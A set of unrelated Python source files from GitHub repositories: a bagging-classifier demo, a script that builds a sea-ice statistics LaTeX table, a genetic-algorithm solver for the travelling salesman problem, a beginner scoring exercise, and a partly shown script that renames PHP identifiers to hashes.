{"seq_id":"23740910408","text":"from sklearn.tree import DecisionTreeClassifier\nfrom sklearn.ensemble import BaggingClassifier\nfrom sklearn.datasets import make_moons\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.model_selection import train_test_split\n\nimport matplotlib.pyplot as plt\nfrom matplotlib.colors import ListedColormap\nimport numpy as np\n\nif __name__ == \"__main__\":\n    \"\"\"\n    bagging\n    在sklearn 中想复现，random_state 一定要设置相同\n    \"\"\"\n    X,y = make_moons(n_samples=500,noise=0.25,random_state=42)\n    X_train,X_test,y_train,y_test = train_test_split(X,y,random_state=42)\n\n    # 500 个决策树，自举法抽样100个样本\n    bag_clf = BaggingClassifier(DecisionTreeClassifier(random_state=42),max_samples=100,n_estimators=500,bootstrap=True,n_jobs=-1,oob_score=True)\n    dt_clf = DecisionTreeClassifier(random_state=42)\n    bag_clf.fit(X_train,y_train)\n    dt_clf.fit(X_train,y_train)\n\n    custom_cmap = ListedColormap(['#fafab0', '#9898ff', '#a0faa0'])\n    x1s = np.linspace(-1.5,2.5,100)\n    x2s = np.linspace(-1,1.5,100)\n    x1,x2 = np.meshgrid(x1s,x2s)\n    X_new = np.c_[x1.ravel(),x2.ravel()]\n    y_bag_pred = bag_clf.predict(X_new).reshape(x1.shape)\n    y_dt_pred = dt_clf.predict(X_new).reshape(x1.shape)\n    print(y_bag_pred.shape)\n    plt.subplot(121)\n    plt.plot(X[:,0][y==0],X[:,1][y==0],\"yo\")\n    plt.plot(X[:, 0][y == 1], X[:, 1][y == 1], \"bs\")\n    plt.contourf(x1, x2, y_dt_pred, alpha=0.3, cmap=custom_cmap)\n    plt.title(\"DecisionTreeClassifier\")\n    plt.axis([-1.5, 2.5, -1, 1.5])\n\n    plt.subplot(122)\n    plt.plot(X[:,0][y==0],X[:,1][y==0],\"yo\")\n    plt.plot(X[:, 0][y == 1], X[:, 1][y == 1], \"bs\")\n    plt.contourf(x1, x2, y_bag_pred, alpha=0.3, cmap=custom_cmap)\n    plt.title(\"BaggingClassifier\")\n    plt.axis([-1.5, 2.5, -1, 1.5])\n\n    \"\"\"\n    bagging_oob_score 0.9333333333333333\n    bagging_test_score 0.952\n    看到2者很相近，在工程中我们那oob 来评估模型 - 尽可能不碰测试数据\n    \"\"\"\n    print(\"bagging_oob_score\",bag_clf.oob_score_)\n    print(\"bagging_test_score\", accuracy_score(y_test,bag_clf.predict(X_test)))\n    plt.show()\n","repo_name":"vendanner/sklearn-tf-source","sub_path":"7_集成学习和随机森林/bagging.py","file_name":"bagging.py","file_ext":"py","file_size_in_byte":2103,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"31252038791","text":"import os\nfrom netCDF4 import Dataset\nimport numpy as np\n\n\nhere = os.path.dirname(os.path.abspath(__file__))\ndatadir = os.path.join(here, '../../data')\noutdir = os.path.join(here, '../../output')\n\nparamf = {'nh': os.path.join(datadir, 'paramfiles/inv_params_osi455_nh_200301-202012_1day.nc'),\n          'sh': os.path.join(datadir, 'paramfiles/inv_params_osi455_sh_200208-202007_1day.nc')}\n\noutfile = os.path.join(outdir, 'latex_stats_paramfiles.tex')\n\nmondict = {0: 'Jan',\n           1: 'Feb',\n           2: 'Mar',\n           3: 'Apr',\n           4: 'May',\n           5: 'Jun',\n           6: 'Jul',\n           7: 'Aug',\n           8: 'Sep',\n           9: 'Oct',\n           10: 'Nov',\n           11: 'Dec'}\n\n\ndef main():\n\n    varlist = ['flags', 'absA_gapfill', 'ThetaA_gapfill', 'RMS_Res_real',\n               'RMS_Res_imag', 'C_real_gapfill', 'C_imag_gapfill', 'lat', 'lon']\n    stats = {}\n    data = {}\n\n    for hemi in ['nh', 'sh']:\n\n        stats[hemi] = {}\n        data[hemi] = {}\n\n        with Dataset(paramf[hemi], 'r') as dataset:\n\n            for var in varlist:\n                data[hemi][var] = dataset.variables[var][:]\n\n        # Finding data shape\n        shx, shy = data['nh']['RMS_Res_real'][0, :, :].shape\n        rmsdtype = data['nh']['RMS_Res_real'].dtype\n\n        # Finding the per-month flags\n        flagok = np.zeros((12, shx, shy), dtype=data[hemi]['flags'][:].dtype)\n        for mon in range(12):\n            flagok[mon, :, :] = data[hemi]['flags'][mon, :, :] == 0\n\n        # Calculating the geostrophic speeds\n        cdtype = np.double\n        data[hemi]['C_gapfill'] = np.zeros((12, shx, shy), dtype=cdtype)\n\n        # In addition to the other flagging, we want to flag any NaNs\n        # in the geostropic currents\n        flagokgeo = flagok.copy()\n        for mon in range(12):\n            flagokgeo[mon, :, :] = np.logical_and(flagok[mon, :, :], ~data[hemi]['C_real_gapfill'][mon, :, :].mask)\n            flagokgeo[mon, :, :] = np.logical_and(flagok[mon, :, :], ~data[hemi]['C_imag_gapfill'][mon, :, :].mask)\n        data[hemi]['C_real_gapfill'].mask = 0\n        data[hemi]['C_imag_gapfill'].mask = 0\n\n        for mon in range(12):\n            # Set the gapfilled and sea/land areas to 0 to avoid nasty numbers\n            data[hemi]['C_real_gapfill'][mon, :, :][flagokgeo[mon, :, :] == 0] = 0\n            data[hemi]['C_imag_gapfill'][mon, :, :][flagokgeo[mon, :, :] == 0] = 0\n\n            ccomb = np.zeros((2, shx, shy), dtype=cdtype)\n            cc1 = data[hemi]['C_real_gapfill'][mon, :, :]\n            ccomb[0, :, :] = cc1 * cc1\n            cc2 =  data[hemi]['C_imag_gapfill'][mon, :, :]\n            ccomb[1, :, :] = cc2 * cc2\n            ccombsum = np.nansum(ccomb, axis=0)\n            data[hemi]['C_gapfill'][mon, :, :] = np.sqrt(ccombsum)\n\n        # Averaging the RMS var\n        data[hemi]['RMS_Res'] = np.zeros((12, shx, shy), dtype=rmsdtype)\n        for mon in range(12):\n            rmsav = np.zeros((2, shx, shy), dtype=rmsdtype)\n            rmsav[0, :, :] = data[hemi]['RMS_Res_real'][mon, :, :]\n            rmsav[1, :, :] = data[hemi]['RMS_Res_real'][mon, :, :]\n            data[hemi]['RMS_Res'][mon, :, :] = np.nanmean(rmsav, axis=0)\n\n        for var in ['absA_gapfill', 'ThetaA_gapfill', 'RMS_Res', 'C_gapfill']:\n            stats[hemi][var] = {}\n\n            for mon in range(12):\n                # Calculate the per-month stats where the flag shows\n                # no gapfilling\n                if var == 'C_gapfill':\n                    field = data[hemi][var][mon, :, :][flagokgeo[mon, :, :] == 1]\n                else:\n                    field = data[hemi][var][mon, :, :][flagok[mon, :, :] == 1]\n                stats[hemi][var][mon] = np.nanmean(field)\n                # Changing the absA variables to percentage\n                if var == 'absA_gapfill':\n                    stats[hemi][var][mon] = 100. * stats[hemi][var][mon]\n\n    # Write out the latex file\n    with open(outfile, 'a+') as outf:\n\n        outf.write(\"\\\\begin{table}[htb]\\n\")\n        outf.write(\"\\\\begin{center}\\n\")\n        outf.write(\"\\\\begin{tabular}{|l||c|c|c||c|c|c|}\\n\")\n        outf.write(\"\\hline\\n\")\n        outf.write(\"{} & \\multicolumn{3}{|c||}{Northern hemisphere} & \\multicolumn{3}{|c|}{Southern hemisphere} \\\\\\\\ \\n\")\n        outf.write(\"\\hline\\n\")\n        outf.write(\"Month & $\\\\langle|A|\\\\rangle$ & $\\\\langle\\\\theta \\\\rangle$ & $\\\\langle U_{wg} \\\\rangle$ & $\\\\langle|A|\\\\rangle$ & $\\\\langle\\\\theta\\\\rangle$ & $\\\\langle U_{wg} \\\\rangle$ \\\\\\\\ \\n\")\n        outf.write(\"{} & / \\\\% & / degree & / ms$^{-1}$ & / \\\\% & / degree & / ms$^{-1}$ \\\\\\\\ \\n\")\n        outf.write(\"\\hline\\n\")\n\n        for mon in range(12):\n            outf.write(\"{} & {} & {} & {} & {} & {} & {} \\\\\\\\ \\n\".format(\n                mondict[mon],\n                \"{:+.1f}\".format(stats['nh']['absA_gapfill'][mon]),\n                \"{:+.1f}\".format(stats['nh']['ThetaA_gapfill'][mon]),\n                \"{:+.3f}\".format(stats['nh']['C_gapfill'][mon]),\n                \"{:+.1f}\".format(stats['sh']['absA_gapfill'][mon]),\n                \"{:+.1f}\".format(stats['sh']['ThetaA_gapfill'][mon]),\n                \"{:+.3f}\".format(stats['sh']['C_gapfill'][mon])))\n        outf.write(\"\\hline\\n\")\n        outf.write(\"\\end{tabular}\\n\")\n        outf.write(\"\\end{center}\\n\")\n        outf.write(\"\\caption[Parameter statistics]{}\\n\")\n        outf.write(\"\\label{tab:stats:param}\\n\")\n        outf.write(\"\\end{table}\\n\")\n        outf.write(\"\\n\\n\")\n\n#    # OLD VERSION WITH RMS ERRORS\n#    # Write out the latex file\n#    with open(outfile, 'a+') as outf:\n#\n#        outf.write(\"\\\\begin{table}[htb]\\n\")\n#        outf.write(\"\\\\begin{center}\\n\")\n#        outf.write(\"\\\\begin{tabular}{|l||c|c|c||c|c|c|}\\n\")\n#        outf.write(\"\\hline\\n\")\n#        outf.write(\"{} & \\multicolumn{3}{|c||}{Northern hemisphere} & \\multicolumn{3}{|c|}{Southern hemisphere} \\\\\\\\ \\n\")\n#        outf.write(\"\\hline\\n\")\n#        outf.write(\"Month & $\\\\langle|A|\\\\rangle$ & $\\\\langle\\\\theta \\\\rangle$ & $\\\\langle \\\\varepsilon(dX) + \\\\varepsilon(dY) \\\\rangle$ & $\\\\langle|A|\\\\rangle$ & $\\\\langle\\\\theta\\\\rangle$ & $\\\\langle \\\\varepsilon(dX) + \\\\varepsilon(dY) \\\\rangle$ \\\\\\\\ \\n\")\n#        outf.write(\"{} & / \\\\% & / degree & / ms$^{-1}$ & / \\\\% & / degree & / ms$^{-1}$ \\\\\\\\ \\n\")\n#        outf.write(\"\\hline\\n\")\n#\n#        for mon in range(12):\n#            outf.write(\"{} & {} & {} & {} & {} & {} & {} \\\\\\\\ \\n\".format(\n#                mondict[mon],\n#                \"{:+.1f}\".format(stats['nh']['absA_gapfill'][mon]),\n#                \"{:+.1f}\".format(stats['nh']['ThetaA_gapfill'][mon]),\n#                \"{:+.3f}\".format(stats['nh']['RMS_Res'][mon]),\n#                \"{:+.1f}\".format(stats['sh']['absA_gapfill'][mon]),\n#                \"{:+.1f}\".format(stats['sh']['ThetaA_gapfill'][mon]),\n#                \"{:+.3f}\".format(stats['sh']['RMS_Res'][mon])))\n#        outf.write(\"\\hline\\n\")\n#        outf.write(\"\\end{tabular}\\n\")\n#        outf.write(\"\\end{center}\\n\")\n#        outf.write(\"\\caption[Parameter statistics]{}\\n\")\n#        outf.write(\"\\label{tab:stats:param}\\n\")\n#        outf.write(\"\\end{table}\\n\")\n#        outf.write(\"\\n\\n\")\n\n\nif __name__ == '__main__':\n\n    main()\n","repo_name":"emilyjd-met/sidrift_lowres_essd","sub_path":"ice-drift-wind/model/latex_stats_paramfiles.py","file_name":"latex_stats_paramfiles.py","file_ext":"py","file_size_in_byte":7132,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"73359270121","text":"import xml.etree.ElementTree as ET\nfrom tqdm import tqdm\nimport numpy as np\nimport random\nimport matplotlib.pyplot as plt\nimport datetime\nimport time\n\n\n# pip install -r requirements.txt\n\n# Read the XML file and save the data in NumPy format. Note: one of brazil and burma must be True and the other False.\n# Parse the XML file through xml.etree.ElementTree,\n# create a numpy array with city_count*city_count dimensions, and save the read data into the array.\ndef readXml():\n    if brazil:\n        tree_brazil = ET.parse('brazil58.xml')\n        root_brazil = tree_brazil.getroot()\n        graph_element_brazil = root_brazil.find('graph')\n        city_count_brazil = len(graph_element_brazil.findall('vertex'))\n        # make use of a distance matrix denoted as D\n        d_brazil = np.zeros((city_count_brazil, city_count_brazil), dtype=object)\n\n        for vertex_idx, vertex_element in enumerate(graph_element_brazil.findall('vertex')):\n            for edge_element in vertex_element.findall('edge'):\n                cost = edge_element.get('cost')\n                city_id = edge_element.text\n                d_brazil[vertex_idx, int(city_id)] = float(cost)\n        return d_brazil, city_count_brazil\n    if burma:\n        tree_burma = ET.parse('burma14.xml')\n        root_burma = tree_burma.getroot()\n        graph_element_burma = root_burma.find('graph')\n        city_count_burma = len(graph_element_burma.findall('vertex'))\n        # make use of a distance matrix denoted as D\n        d_burma = np.zeros((city_count_burma, city_count_burma), dtype=object)\n\n        for vertex_idx, vertex_element in enumerate(graph_element_burma.findall('vertex')):\n            for edge_element in vertex_element.findall('edge'):\n                cost = edge_element.get('cost')\n                city_id = edge_element.text\n                d_burma[vertex_idx, int(city_id)] = float(cost)\n        return d_burma, city_count_burma\n\n\n# compute fitness of every route\n# The method is to traverse the array data,\n# and add the distance between the last city and the first city\ndef CountF(p_list):\n    s = 0\n    for i in range(city_count - 1):\n        s += data[p_list[i], p_list[i + 1]]\n    s += data[p_list[-1], p_list[0]]\n    return s\n\n\n# 1. Generate an initial population of p randomly created solutions and assess the fitness of each individual in\n# the population.\n# Give a seed so that the random value returned each time is fixed\n# The first column is the path, and the second column is the sum of the distances along the path.\ndef initial(list_range):\n    p = np.zeros((list_range, 2), dtype=object)\n    for i, j in zip(range(list_range), range(2023, 2023 + population_size)):\n        random.seed(j)\n        # 给出一个初始化的population\n        initial_list = list(range(city_count))\n        random.shuffle(initial_list)\n        p[i, 0] = initial_list\n        p[i, 1] = CountF(initial_list)\n    return p\n\n\n# 2. Use tournament selection twice to select two parents, denoted as a and b\n# Select random numbers within the number of tournament_size non-repeating populations in the population,\n# and select the one with the best result to return\ndef Tournament_Selection(p_list, count):\n    random_t_1 = np.random.choice(population_size, count, replace=False)\n    selected_values = population[random_t_1, 1]\n    min_index = int(random_t_1[np.argmin(selected_values)])\n    res_a = p_list[min_index, 0]\n\n    np.random.seed(seed + np.random.choice(population_size, 1))\n    random_t_2 = np.random.choice(population_size, count, replace=False)\n    selected_values = population[random_t_2, 1]\n    min_index = int(random_t_1[np.argmin(selected_values)])\n    res_b = p_list[min_index, 0]\n    return res_a, res_b\n\n\n# 3. apply a Crossover_with_fix on these selected parents to generate two children, referred to as c and d.\n# First select a random number so that the two subsets are truncated\n# from the index of that number and exchange each other's data.\n# When exchanging data here,\n# pay attention to whether the values corresponding to the same index between a and b are equal.\n# If they are not equal, it means there will be duplication. The duplicate data in c and d must be replaced.\ndef Crossover_with_fix(kid_a, kid_b):\n    random_single_point = int(np.random.choice(city_count))\n    kid_c = kid_a[:random_single_point] + kid_b[random_single_point:]\n    kid_d = kid_b[:random_single_point] + kid_a[random_single_point:]\n    for j in range(random_single_point, city_count):\n        if kid_b[j] != kid_a[j]:\n            kid_c[kid_c.index(kid_b[j])] = kid_a[j]\n            kid_d[kid_d.index(kid_a[j])] = kid_b[j]\n    return kid_c, kid_d\n\n\n# 3. apply a OrderedCrossover on these selected parents to generate two children, referred to as c and d.\n# Exchange data first, then add unique data later\ndef OrderedCrossover(kid_a, kid_b):\n    random_single_point = int(np.random.choice(city_count))\n    kid_c = kid_a[:random_single_point]\n    kid_d = kid_b[:random_single_point]\n    for j1 in kid_b:\n        if j1 not in kid_c:\n            kid_c.append(j1)\n    for j2 in kid_a:\n        if j2 not in kid_d:\n            kid_d.append(j2)\n\n    return kid_c, kid_d\n\n\n# 4. Run a single_swap_mutation on c and d to give two new solutions e and f. Evaluate the fitness of e and f.\n# Swap two points\ndef single_swap_mutation(m_c, m_d):\n    random_e = np.random.choice(city_count, 2, replace=False)\n    random_f = np.random.choice(city_count, 2, replace=False)\n    m_e = m_c.copy()\n    m_f = m_d.copy()\n\n    m_e[random_e[0]], m_e[random_e[1]] = m_e[random_e[1]], m_e[random_e[0]]\n    m_f[random_f[0]], m_f[random_f[1]] = m_f[random_f[1]], m_f[random_f[0]]\n\n    return m_e, m_f\n\n\n# 4. Run a inversion on c and d to give two new solutions e and f. Evaluate the fitness of e and f.\n# Slice at random values, then flip the data after that\ndef inversion(m_c, m_d):\n    random_e = np.random.choice(city_count)\n    random_f = np.random.choice(city_count)\n    m_e = m_c.copy()\n    m_f = m_d.copy()\n\n    m_e = m_e[:random_e] + list(reversed(m_e[random_e:]))\n    m_f = m_f[:random_f] + list(reversed(m_f[random_f:]))\n    return m_e, m_f\n\n\n# 4. Run a multiple_swap_mutation on c and d to give two new solutions e and f. Evaluate the fitness of e and f.\n# Swap multiple points\ndef multiple_swap_mutation(m_c, m_d, count):\n    random_e = np.random.randint(0, city_count, count)\n    random_f = np.random.randint(0, city_count, count)\n    m_e = m_c.copy()\n    m_f = m_d.copy()\n    for g in range(count // 2):\n        m_e[random_e[g]], m_e[random_e[-(g + 1)]] = m_e[random_e[-(g + 1)]], m_e[random_e[g]]\n        m_f[random_f[g]], m_f[random_f[-(g + 1)]] = m_f[random_f[-(g + 1)]], m_f[random_f[g]]\n\n    return m_e, m_f\n\n\n# 5. Run Replace_Weakest function, firstly for e,        then f\n# Replace the value of the worst data in the list\ndef Replace_Weakest(fit_list):\n    fit_score = CountF(fit_list)\n    sorted_idx = np.argsort(-population[:, 1])\n    if fit_score < population[sorted_idx[0], 1]:\n        population[sorted_idx[0], 0], population[sorted_idx[0], 1] = fit_list, fit_score\n\n\n# 5. Run Replace_FirstWeakest function, firstly for e, then f\n# Replace the first value lower than the current value\ndef Replace_FirstWeakest(fit_list):\n    fit_score = CountF(fit_list)\n    for h in range(population_size):\n        if population[h, 1] >= fit_score:\n            population[h, 0], population[h, 1] = fit_list, fit_score\n            break\n\n\nresult = []\nmutation_count_list = []\ntournament_size_list = []\n\nseed = 2000  # Seed value for random number generation\nmutation_count = 2  # Number of mutation operations if 10 exchange 5 times\ntournament_size = 4\npopulation_size = 10\n\nbrazil = True  # Flag for using Brazil data\nburma = False  # Flag for using Burma data\ndata, city_count = readXml()  # Read data from XML files and get the city count\npopulation = initial(population_size)  # Initialize the population\n\n# Flags for different states\nCrossover_with_fix_state = False  # Whether to enable Crossover_with_fix\nOrderedCrossover_state = True  # Whether to enable OrderedCrossover\nsingle_swap_mutation_state = False  # Whether to enable single swap mutation\ninversion_state = True  # Whether to enable inversion mutation\nmultiple_swap_mutation_state = False  # Whether to enable multiple swap mutation\nReplace_FirstWeakest_state = True  # Whether to enable replacing the first weakest individual\nReplace_Weakest_state = False  # Whether to enable replacing the weakest individual\n\nuse_cross = True  # Whether use crossover\nsave_pic_state = False  # Whether save picture\n\nstart_time = time.time()\nsteps = 10000\n# start to loop\nfor step in tqdm(range(steps)):\n    np.random.seed(seed)\n    # if step == 2000:\n    #     mutation_count = 6\n    # if step == 6000:\n    #     mutation_count = 2\n    # if step == 6000:\n    #     tournament_size = 6\n    a, b = Tournament_Selection(population, tournament_size)\n    if use_cross:\n        if Crossover_with_fix_state:\n            c, d = Crossover_with_fix(a, b)\n        if OrderedCrossover_state:\n            c, d = OrderedCrossover(a, b)\n    if not use_cross:\n        c, d = a.copy(), b.copy()\n    if single_swap_mutation_state:\n        e, f = single_swap_mutation(c, d)\n    if inversion_state:\n        e, f = inversion(c, d)\n    if multiple_swap_mutation_state:\n        e, f = multiple_swap_mutation(c, d, mutation_count)\n    if Replace_FirstWeakest_state:\n        Replace_FirstWeakest(e)\n        Replace_FirstWeakest(f)\n    if Replace_Weakest_state:\n        Replace_Weakest(e)\n        Replace_Weakest(f)\n    score = np.sum(population[:, 1]) / population_size\n    result.append(score)\n    mutation_count_list.append(mutation_count)\n    tournament_size_list.append(tournament_size)\n    seed = seed + 1\nend_time = time.time()\n\ny = min(population[:, 1])\nz = np.argmin(population[:, 1])\nx = list(range(0, steps))\ncurrent_time = datetime.datetime.now().strftime('%Y-%m-%d_%H-%M-%S')\n\nplt.figure(figsize=(10, 8))\nplt.subplots_adjust(hspace=0.3)\ncity = \"\"\nif brazil:\n    city = \"Brazil\"\nelif burma:\n    city = \"Burma\"\nplt.subplot(2, 1, 1)\nplt.xlabel('step')\nplt.ylabel('sum population cost')\nplt.title(f'city:{city},min_value:{y},m_count:{mutation_count},t_count:{tournament_size},len_p:{population_size}')\nplt.plot(x, result, 'r-', lw=3)\nplt.legend(['result'])\n\nplt.subplot(2, 2, 3)\nplt.plot(x, mutation_count_list, 'g-', lw=3)\nplt.xlabel('step')\nplt.ylabel('mutation_count')\nplt.legend(['mutation_count'])\n\nplt.subplot(2, 2, 4)\nplt.plot(x, tournament_size_list, 'b-', lw=3)\nplt.xlabel('step')\nplt.ylabel('kid_count')\nplt.legend(['kid_count'])\nif save_pic_state:\n    plt.savefig(f'{city}_{current_time}.png')\nplt.show()\nplt.close()\nprint(f'min value of {city} is {population[z, 1]}\\nthe route is {population[z, 0]} ')\n# Calculate the time difference\nelapsed_time = end_time - start_time\nprint(f\"Elapsed time: {elapsed_time} seconds\")\n","repo_name":"SuersserMann/NewBrain","sub_path":"assessment/NIC_assessment/assessment.py","file_name":"assessment.py","file_ext":"py","file_size_in_byte":10823,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"29747922106","text":"# We've started writing a function named whoWon(). It takes in the following variables:\n# - team1 (a string)\n# - score1 (an integer)\n# - team2 (a string)\n# - score2 (an integer)\n#\n# Create two variables. Name the first one 'winner', and give it the value of the winning\n# team. Name the second one 'margin', and give it the number of points that the winning\n# team won by. If the game was a tie, set the value of 'winner' equal to \"It's a tie!\",\n# and set 'margin' equal to 0.\n#\n# For example, calling whoWon(\"Georgia Tech\", 30, \"Duke\", 20) would result in a value of\n# \"Georgia Tech\" for the variable 'winner' and 10 for the variable 'margin'.\n\ndef whoWon(team1, score1, team2, score2):\n    # Add your code here. When your code is done running, there should exist a variable\n    # called winner, with the value of the name of the team with the higher score, and\n    # a variable called margin, with the value the number of points the winning team\n    # won by.\n\n    if score1 > score2:\n        winner = team1\n        margin = score1 - score2\n    elif score1 == score2:\n        winner = \"It's a tie!\"\n        margin = 0\n    else:\n        winner = team2\n        margin = score2 - score1\n\n    return (winner, margin)\n\n# You may modify the variables below to test your code.\ntestTeam1 = \"Georgia Tech\"\ntestScore1 = 26\ntestTeam2 = \"Georgia\"\ntestScore2 = 26\n\n# Don't worry with the code below, it just prints the result!\nprint(\"Score:\", testTeam1, testScore1, \"-\", testTeam2, testScore2)\nresultTuple = whoWon(testTeam1, testScore1, testTeam2, testScore2)\nif not resultTuple[1] == 0:\n    print(resultTuple[0], \"won by\", resultTuple[1], \"points.\")\nelse:\n    print(resultTuple[0])","repo_name":"thermoptics7/EDX","sub_path":"tuple.py","file_name":"tuple.py","file_ext":"py","file_size_in_byte":1672,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"41024558125","text":"import os\r\nimport re\r\nimport hashlib\r\nimport shutil\r\n\r\nSOURCE_CODE_DIRECTORY = \"C:\\\\Users\\\\Evyatar\\\\Documents\\\\NetBeansProjects\\\\TodoList\\\\\"\r\nDESTINATION_CODE_DIRECTORY = \"C:\\\\wamp\\\\www\\\\TodoList2\\\\TodoList\\\\\"\r\nDB_CONTAINER_FILE = \"mappings.txt\"\r\n\r\nBLACKLIST_NAMES = (\t'Config', 'Error', 'Flash', 'NotFoundException', 'TodoDao', 'TodoMapper', 'Todo', 'TodoSearchCriteria', 'TodoValidator', 'Utils', \r\n\t\t\t\t\t'this', \r\n\t\t\t\t\t'self', \r\n\t\t\t\t\t'getMessage', 'handleException', 'error_field', 'quote', 'query', 'errorInfo', 'format', 'setTime', 'setDueOn', 'fetch', 'prepare', 'lastInsertId',  'execute', \r\n\t\t\t\t\t'rowCount', \r\n\t\t\t\t\t'loadClass', \r\n\t\t\t\t\t'_GET', '_POST', '_REQUEST', '_SERVER', '_SESSION', '_FILES', '_COOKIE', '_ENV')\r\n\t\t\t\t\t\r\nFILE_EXTENSION_TO_OBFUSCATE = ('.php', '.phtml')\r\n\r\nmappings = {}\r\n\r\ndef GetFileContants(filename):\r\n\tfin = open(filename, 'r')\r\n\tdata = fin.read()\r\n\tfin.close()\r\n\t\r\n\treturn data\r\n\r\ndef GenerateDestinationPath(originalFilename):\r\n\trelativeOriginalFilename = originalFilename[len(SOURCE_CODE_DIRECTORY):]\r\n\tfilenameToReturn = DESTINATION_CODE_DIRECTORY + relativeOriginalFilename\r\n\t\r\n\tdirname = filenameToReturn.rsplit(\"\\\\\", 1)[0]\r\n\tif not os.path.exists(dirname):\r\n\t\tos.makedirs(dirname)\r\n\t\t\r\n\treturn filenameToReturn\r\n\t\r\ndef WriteFile(filename, data):\r\n\tfout = open(filename, 'w+')\r\n\tdata = fout.write(data)\r\n\tfout.close()\r\n\t\r\ndef DictionaryHasValue(dict, value):\r\n\tfor currentValue in dict.values():\r\n\t\tif currentValue == value:\r\n\t\t\treturn True\r\n\t\t\t\r\n\treturn False\r\n\r\ndef CreateValueMapping(originalName):\r\n\tglobal mappings\r\n\r\n\tEncodedValue = hashlib.sha256(originalName.group(2)).hexdigest()\r\n\t# Name must not start with a digit\r\n\tif (EncodedValue[0].isdigit()):\r\n\t\tEncodedValue = \"a\" + EncodedValue\r\n\t\t\r\n\tmappings[originalName.group(2)] = EncodedValue\r\n\r\n\treturn \"\"\r\n\r\ndef ReplaceNameWithMappedValue(originalName):\r\n\tglobal mappings\r\n\t\r\n\tif originalName.group(2) in BLACKLIST_NAMES:\r\n\t\treturn (originalName.group(1) + originalName.group(2) + originalName.group(3))\r\n\r\n\tif (mappings.has_key(originalName.group(2))):\r\n\t\treturn originalName.group(1) + mappings[originalName.group(2)] + originalName.group(3)\r\n\telse:\r\n\t\treturn originalName.group(1) + originalName.group(2) + originalName.group(3)\r\n\r\n\t\t\r\ndef EncodeName(originalName):\r\n\tglobal mappings\r\n\t\r\n\tretVal = originalName.group(1)\r\n\tif originalName.group(2) in BLACKLIST_NAMES:\r\n\t\treturn (retVal + originalName.group(2) + originalName.group(3))\r\n\r\n\thashResult = hashlib.sha256(originalName.group(2)).hexdigest()\r\n\t# Name must not start with a digit\r\n\tif (hashResult[0].isdigit()):\r\n\t\thashResult = \"a\" + hashResult\r\n\t\t\r\n\t# In case the variable is already obfuscated\r\n\tif DictionaryHasValue(mappings, originalName.group(2)):\r\n\t\tretVal += originalName.group(2)\r\n\t\t\t\r\n\t# In case we already have a mapping for this variable\r\n\telif mappings.has_key(originalName.group(2)):\r\n\t\tretVal += hashResult\r\n\telse:\t\r\n\t\tretVal += hashResult\r\n\t\tmappings[originalName.group(2)] = hashResult\r\n\t\t\r\n\tretVal += originalName.group(3)\r\n\t\t\r\n\treturn retVal\r\n\r\n\r\n# Looks for functions in the code, by looking for the following formats: \r\n#  function SomeFunction(\r\n#  ::SomeFunction(\r\n#  ->SomeFunction(\r\ndef ObfuscateFunctions(data):\r\n\tdata = re.sub('(function )([a-zA-Z0-9_]+)(\\()', ReplaceNameWithMappedValue, data)\r\n\tdata = re.sub('(::)([a-zA-Z0-9_]+)(\\()', ReplaceNameWithMappedValue, data)\r\n\tdata = re.sub('(->)([a-zA-Z0-9_]+)(\\()', ReplaceNameWithMappedValue, data)\r\n\r\n\treturn data\r\n\t\r\n\r\n# Looks for variable in the code, by looking for the following formats: \r\n#  $SomeVariable\r\ndef ObfuscateVariables(data):\r\n\tdata = re.sub('(\\$)([a-zA-Z0-9_]+)()', EncodeName, data)\r\n\tdata = re.sub('(->)([a-zA-Z0-9_]+)([^a-zA-Z0-9_\\(])', EncodeName, data)\r\n\t\r\n\treturn data\r\n\t\r\n# Looks for classes in the code, by looking for the following formats: \r\n#  SomeClass::\r\n#  new SomeClass\r\n#  class SomeClass\r\n#  extends SomeClass\r\n#  interface SomeClass\r\ndef ObfuscateClasses(data):\r\n\tdata = re.sub('([^a-zA-Z0-9_])([a-zA-Z0-9_]+)(::)', ReplaceNameWithMappedValue, data)\r\n\tdata = re.sub('(new )([a-zA-Z0-9_]+)()', ReplaceNameWithMappedValue, data)\r\n\tdata = re.sub('(class )([a-zA-Z0-9_]+)()', ReplaceNameWithMappedValue, data)\r\n\tdata = re.sub('(extends )([a-zA-Z0-9_]+)()', ReplaceNameWithMappedValue, data)\r\n\tdata = re.sub('(interface )([a-zA-Z0-9_]+)()', ReplaceNameWithMappedValue, data)\r\n\t\r\n\treturn data\r\n\r\ndef ObfuscateConstants(data):\r\n\tdata = re.sub('(const )([A-Z0-9_]+)([^A-Z0-9_])', ReplaceNameWithMappedValue, data)\r\n\tdata = re.sub('(::)([A-Z0-9_]+)([^A-Z0-9_])', ReplaceNameWithMappedValue, data)\r\n\r\n\treturn data\r\n\r\ndef MapFunctions(data):\r\n\tre.sub('(function )([a-zA-Z0-9_]+)(\\()', CreateValueMapping, data)\r\n\r\ndef MapConstants(data):\r\n\tre.sub('(const )([A-Z0-9_]+)([^A-Z0-9_])', CreateValueMapping, data)\r\n\r\ndef MapClasses(data):\r\n\tdata = re.sub('(class )([a-zA-Z0-9_]+)()', CreateValueMapping, data)\r\n\tdata = re.sub('(interface )([a-zA-Z0-9_]+)()', CreateValueMapping, data)\r\n\r\ndef CreateInitialMappings(sourceFilename):\r\n\tdata = GetFileContants(sourceFilename)\r\n\r\n\tMapFunctions(data)\r\n\tMapClasses(data)\r\n\tMapConstants(data)\r\n\r\n\r\ndef ObfuscateSourceFile(sourceFilename, destFilename):\r\n\tdata = GetFileContants(sourceFilename)\r\n\t\r\n\tdata = ObfuscateVariables(data)\r\n\tdata = ObfuscateFunctions(data)\r\n\tdata = ObfuscateConstants(data)\r\n\tdata = ObfuscateClasses(data)\r\n\t\r\n\tWriteFile(destFilename, data)\r\n\t\r\ndef WriteMappingsTofile():\r\n\tglobal mappings\r\n\t\r\n\tmappingsString = \"\"\r\n\tfor key, value in mappings.iteritems():\r\n\t\tmappingsString += key + \" - \" + value + \"\\n\"\r\n\t\r\n\tWriteFile(DB_CONTAINER_FILE, mappingsString)\r\n\t\r\n\t\t\r\ndef RunOnAllFiles(directory, isMappingRun):\r\n\tfor (path, dirs, files) in os.walk(directory):\r\n\t\tfor filename in 